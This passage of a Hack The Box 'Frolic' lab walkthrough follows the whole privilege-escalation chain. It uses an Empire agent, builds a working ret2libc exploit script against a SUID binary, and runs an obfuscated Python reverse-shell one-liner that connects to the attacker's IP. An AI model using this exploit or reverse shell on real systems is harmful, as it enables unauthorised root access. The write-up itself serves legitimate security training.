-------------8<-------------
A running log of all Agent actions are stored by Empire. Results of the module can be reviewed there later if desired.
pwd
/opt/Empire
lt downloads/64SDCKU7/agent.log
-rw-r--r-- 1 root root 143293 Mar 22 09:12 downloads/64SDCKU7/agent.log
While perusing the module’s results, we see an interesting binary has the SUID bit set.
[+] SUID/SGID Files and Directories
-------------8<-------------
-rwsr-xr-x 1 root root 7480 Sep 25 00:59 /home/ayush/.binary/rop
-------------8<-------------
Let’s use Empire to download it and check it out locally. To do that, we need to get back to interacting with our Agent.
(Empire: python/privesc/linux/linux_priv_checker) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
64SDCKU7 py 127.0.1.1 frolic \www-data /usr/bin/python 3195 5/0.0 2019-03-22 09:19:32
(Empire: agents) > interact 64SDCKU7
(Empire: 64SDCKU7) >
Then we can download
the binary.
(Empire: 64SDCKU7) > download /home/ayush/.binary/rop
[*] Tasked 64SDCKU7 to run TASK_DOWNLOAD
[*] Agent 64SDCKU7 tasked with task ID 6
(Empire: 64SDCKU7) >
[*] Compressed size of rop download: 2 KB
[*] Final size of rop wrote: 7 KB
[+] Part of file rop from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
The binary is stored in the same folder where agent.log is located.
lt downloads/64SDCKU7/
total 160
drwxr-xr-x 6 root root 4096 Mar 22 08:45 ..
-rw-r--r-- 1 root root 7480 Mar 22 09:20 rop
drwxr-xr-x 2 root root 4096 Mar 22 09:20 .
-rw-r--r-- 1 root root 143439 Mar 22 09:20 agent.log
A SUID binary named rop is a pretty clear indicator that the intention is to perform binary exploitation. In order to exploit the rop binary, we’ll need to overwrite the Instruction Pointer (EIP). EIP contains the memory address of the next instruction to be executed. We need to overwrite EIP with a memory address that we control. Specifically, we’ll use a ret2libc attack where we overwrite EIP with the address of the system syscall, passing it the argument of /bin/sh to pop a shell. Let’s get started.
Before we begin, we need to know what countermeasures are in place. Let’s start with running PEDA’s checksec
in gdb
.
gdb -q rop
Reading symbols from rop...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
We can see that rop has a Non-eXecutable stack. The other piece of information we need is whether or not ASLR is on. For Linux systems, checking for ASLR is very simple. If the kernel is newer than version 2.6.12, we simply cat /proc/sys/kernel/randomize_va_space
and view the results. Three are three possible values and are explained below:
Let’s check what value the target is running.
(Empire: 64SDCKU7) > shell cat /proc/sys/kernel/randomize_va_space
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 7
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
0
..Command execution completed.
[*] Valid results returned by 10.10.10.111
Based on the 0
returned, we now know that ASLR is turned off. That dramatically simplifies our exploit.
Our next step involves figuring out how to overflow whatever buffer is available to be overflown. Running the program normally is an excellent place to begin.
Running rop
without arguments shows us how it expects to be run.
./rop
[*] Usage: program <message>
Running rop
with five A
’s echoes the result back to us. There doesn’t appear to be any other functionality to play with, so we can assume passing input on the commandline via the first positional argument is where we need to focus our efforts.
./rop AAAAA
[+] Message sent: AAAAA
Let’s build out a small loop to determine how many A
’s we need to send to fill the buffer.
We’ll start with the seq
command. seq START STEP END
is the syntax, we want 20 iterations, starting at 10 and ending at 200. Each iteration should increment the number returned by 10.
seq 10 10 200
═════════════
10
20
30
40
-------------8<-------------
Then we’ll build our for loop.
for i in $(seq 10 10 200); do echo $i ; done
════════════════════════════════════════════
10
20
30
40
-------------8<-------------
There’s no appreciable difference in the output, but now we can do additional things in the do
block of our for loop.
Specifically, we’ll print the same number of A
’s instead of just the number itself.
for i in $(seq 10 10 200); do python -c "print('A' * $i)" ; done
════════════════════════════════════════════════════════════════
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------------8<-------------
Finally, we’ll pass those A
’s to rop
. The additional echo
on the end is strictly to enhance readability.
for i in $(seq 10 10 200); do ./rop $(python -c "print('A' * $i)") && echo ; done
═════════════════════════════════════════════════════════════════════════════════
[+] Message sent: AAAAAAAAAA
[+] Message sent: AAAAAAAAAAAAAAAAAAAA
[+] Message sent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] Message sent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Segmentation fault
-------------8<-------------
Check out the Additional Resources if either the for loop or $()
syntax are unfamiliar
Now we know that 50 A
’s or more will overflow the buffer.
Now that we know how many characters it will take to overflow the buffer, we need to figure out how many bytes it will take to reach the instruction pointer (EIP). To determine how many bytes of garbage we need to send before we get to EIP, we can utilize PEDA’s pattern_create
to generate a non-repeating pattern.
gdb-peda$ pattern_create 60
═══════════════════════════
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$ run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
1[----------------------------------registers-----------------------------------]
2EAX: 0x51 ('Q')
3EBX: 0xffffcb10 --> 0x2
4ECX: 0x37 ('7')
5EDX: 0xf7fa9890 --> 0x0
6ESI: 0xf7fa8000 --> 0x1d9d6c
7EDI: 0xf7fa8000 --> 0x1d9d6c
8EBP: 0x31414162 ('bAA1')
9ESP: 0xffffcae0 ("AcAA")
10EIP: 0x41474141 ('AAGA')
11EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
12[-------------------------------------code-------------------------------------]
13Invalid $PC address: 0x41474141
14[------------------------------------stack-------------------------------------]
150000| 0xffffcae0 ("AcAA")
160004| 0xffffcae4 --> 0xffffcb00 --> 0xf7fa8000 --> 0x1d9d6c
170008| 0xffffcae8 --> 0xffffcbb0 --> 0xffffce0e ("SHELL=/bin/bash")
180012| 0xffffcaec --> 0x8048561 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
190016| 0xffffcaf0 --> 0xffffcb10 --> 0x2
200020| 0xffffcaf4 --> 0x0
210024| 0xffffcaf8 --> 0x0
220028| 0xffffcafc --> 0xf7de8b41 (<__libc_start_main+241>: add esp,0x10)
23[------------------------------------------------------------------------------]
24Legend: code, data, rodata, value
25Stopped reason: SIGSEGV
260x41474141 in ?? ()
After running the program in gdb with the non-repeating pattern as the program’s input, we see that the register EIP contains the string AAGA
. We’ll pass that string to PEDA’s pattern_offset
to find out exactly where EIP begins.
gdb-peda$ pattern_offset AAGA
═════════════════════════════
AAGA found at offset: 52
As an exercise, you can run the program in gdb with 53 A’s to see the least significant byte in EIP become 0x41 (A in hex), then 54 A’s to see two 0x41’s, etc…
Now that we know EIP’s offset, we need a few more pieces of information. Specifically, we need the memory addresses of libc when loaded into the binary’s memory space, the system syscall from libc, and the address of the string /bin/sh from libc.
Because ASLR is disabled, we can easily find out where libc gets loaded into memory, because the address will remain the same over multiple runs.
(Empire: 64SDCKU7) > shell ldd /home/ayush/.binary/rop | grep libc
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 2
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
..Command execution completed.
[*] Valid results returned by 10.10.10.111
(Empire: 64SDCKU7) > shell ldd /home/ayush/.binary/rop | grep libc
[*] Tasked 64SDCKU7 to run TASK_SHELL
[*] Agent 64SDCKU7 tasked with task ID 3
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
..Command execution completed.
[*] Valid results returned by 10.10.10.111
Two separate runs are enough to tell that the base address of libc is 0xb7e19000
and it will remain at that address when we actually exploit the binary.
Next, we’ll get the address of the system syscall. Since we have a shell on target, we have the luxury of just downloading the target’s libc and analyzing it.
(Empire: 64SDCKU7) > download /lib/i386-linux-gnu/libc.so.6
[*] Tasked 64SDCKU7 to run TASK_DOWNLOAD
[*] Agent 64SDCKU7 tasked with task ID 10
(Empire: 64SDCKU7) >
[*] Compressed size of libc.so.6 download: 249 KB
[*] Final size of libc.so.6 wrote: 500 KB
[+] Part of file libc.so.6 from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
(Empire: 64SDCKU7) >
[*] Compressed size of libc.so.6 download: 227 KB
[*] Final size of libc.so.6 wrote: 500 KB
[+] Part of file libc.so.6 from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
[*] Compressed size of libc.so.6 download: 194 KB
[*] Final size of libc.so.6 wrote: 500 KB
[+] Part of file libc.so.6 from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
[*] Compressed size of libc.so.6 download: 76 KB
[*] Final size of libc.so.6 wrote: 244 KB
[+] Part of file libc.so.6 from 64SDCKU7 saved
[*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
Recall that the binary will end up in Empire/downloads/AGENT_NAME/
.
Once the binary is downloaded, we can easily find the address of system.
objdump -D libc.so.6 | grep system
══════════════════════════════════
0003ada0 <__libc_system@@GLIBC_PRIVATE>:
0x0003ada0
is what we need. It’s important to note though, that the address we found is actually the offset of system from the base address of libc. Recall that the base address of libc is 0xb7e19000
. To get the actual address of system, we need to add 0x0003ada0
and 0xb7e19000
. The resulting address is 0xb7e53da0
.
The process of finding the string /bin/sh is very similar to finding system. We’ll still investigate the target’s libc to find the string we need.
strings -t x libc.so.6 | grep /bin/sh
═════════════════════════════════════
15ba0b /bin/sh
Pretty simple, right? Just like with the system address, we need to add the address found (0x15ba0b
) to libc’s base address (0xb7e19000
). When we add them together, we get 0xb7f74a0b
.
That’s it! We have all the information we need to build our exploit. Let’s get to work building our payload delivery mechanism (aka a python script…).
First we’ll import the struct
library. This will save us from having to manually convert our addresses into little endian. While we’re at it, we’ll define the base address of libc.
import struct
libc_base = 0xb7e19000
Next, we’ll define the addresses of system and /bin/sh.
system_addr = struct.pack('<I', libc_base + 0x0003ada0)
binsh_addr = struct.pack('<I', libc_base + 0x15ba0b)
The string <I
in the struct.pack
call tells the function that we want to pack the data in little endian format and to expect an unsigned integer (4 bytes). This will handle conversion to little endian, zero padding, etc…
After that, we need to specify a return address. Since we really don’t care what happens after we exit our root shell, we can just cram any old valid hex in there.
exit_addr = struct.pack('<I', 0xcafebabe)
Finally, we generate our payload and send it to STDOUT.
payload = 'A' * 52
payload += system_addr
payload += exit_addr
payload += binsh_addr
print(payload)
All together, this is what we end up with.
import struct
libc_base = 0xb7e19000
system_addr = struct.pack('<I', libc_base + 0x0003ada0)
binsh_addr = struct.pack('<I', libc_base + 0x15ba0b)
exit_addr = struct.pack('<I', 0xcafebabe)
payload = 'A' * 52
payload += system_addr
payload += exit_addr
payload += binsh_addr
print(payload)
The script with comments can be found at my HTB Scripts for Retired Boxes repo.
The last steps for us are to upload our script, get an interactive shell on target, and then run our exploit. Here we go!
First, let’s get our script to target using Empire.
(Empire: 64SDCKU7) > upload /root/htb/frolic/ret2libc_NX_noASLR.py
[*] Original tasked size of ret2libc_NX_noASLR.py for upload: 333 Bytes
[*] Starting upload of ret2libc_NX_noASLR.py, final size 255 Bytes
[*] Tasked 64SDCKU7 to run TASK_UPLOAD
[*] Agent 64SDCKU7 tasked with task ID 9
(Empire: 64SDCKU7) > [*] Agent 64SDCKU7 returned results.
[*] Valid results returned by 10.10.10.111
Then we’ll use ShellPop to generate a callback. We’re going to use a python callback and check out Empire’s ability to seamlessly run a python script on target.
shellpop --payload linux/reverse/tcp/python --host 10.10.14.16 --port 12345
═══════════════════════════════════════════════════════════════════════════
[+] Execute this code in remote target:
python -c "import os;import pty;import socket;WRlaXZtt='10.10.14.16';NXhtSsAswYgyHvh=12345;fouUbZRsrt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);fouUbZRsrt.connect((WRlaXZtt,NXhtSsAswYgyHvh));os.dup2(fouUbZRsrt.fileno(),0);os.dup2(fouUbZRsrt.fileno(),1);os.dup2(fouUbZRsrt.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');fouUbZRsrt.close();"
Next, we setup a listener.
nc -nvlp 12345
══════════════
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Listening on 0.0.0.0:12345
We’ll take everything within the quotes that ShellPop returned and use that in our Empire command.
(Empire: 64SDCKU7) > python import os;import pty;import socket;WRlaXZtt='10.10.14.16';NXhtSsAswYgyHvh=12345;fouUbZRsrt=socket.socket(socket.AF_INET,socket.SOCK_STREAM);fouUbZRsrt.connect((WRlaXZtt,NXhtSsAswYgyHvh));os.dup2(fouUbZRsrt.fileno(),0);os.dup2(fouUbZRsrt.fileno(),1);os.dup2(fouUbZRsrt.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');fouUbZRsrt.close();
After a second or two, we see movement in our netcat window.
-------------8<-------------
Ncat: Connection from 10.10.10.111.
Ncat: Connection from 10.10.10.111:46982.
www-data@frolic:~/html/playsms$
Our last step is to run rop
with our script as input.
/home/ayush/.binary/rop $(python ret2libc_NX_noASLR.py)
═══════════════════════════════════════════════════════
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
# cat /root/root.txt
85d3...
\o/ - root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.